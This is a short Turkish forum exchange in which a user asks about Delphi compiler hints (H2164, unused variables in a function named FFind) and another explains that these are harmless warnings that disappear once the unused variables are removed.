[Hint] Seee.dpr(147): H2164 Variable 'l2' is declared but never used in 'FFind'
[Hint] Seee.dpr(148): H2164 Variable 'lin' is declared but never used in 'FFind'
bunlar sizin için ipuçlarıdır. Size yardımcı olmak için uyarıdır. Kısaca "yukarıdaki değişkenleri tanımlamışsınız ama FFind da kullanmamışsınız." demek istiyor.freezerg yazdı:dediğiniz yolla kapattım, bi bunlar kaldı. Yazım yanlışı olmadığı halde hata veriyor, acaba delphi versiyonundan olabilir mi ?
Teşekkürler
[Hint] Seee.dpr(145): H2164 Variable 'fil' is declared but never used in 'FFind'
[Hint] Seee.dpr(146): H2164 Variable 'l1' is declared but never used in 'FFind'
[Hint] Seee.dpr(147): H2164 Variable 'l2' is declared but never used in 'FFind'
[Hint] Seee.dpr(148): H2164 Variable 'lin' is declared but never used in 'FFind'
Fazladan tanımladığınız değişkenleri kaldırırsanız onlarda çıkmaz.
Kolay gelsin.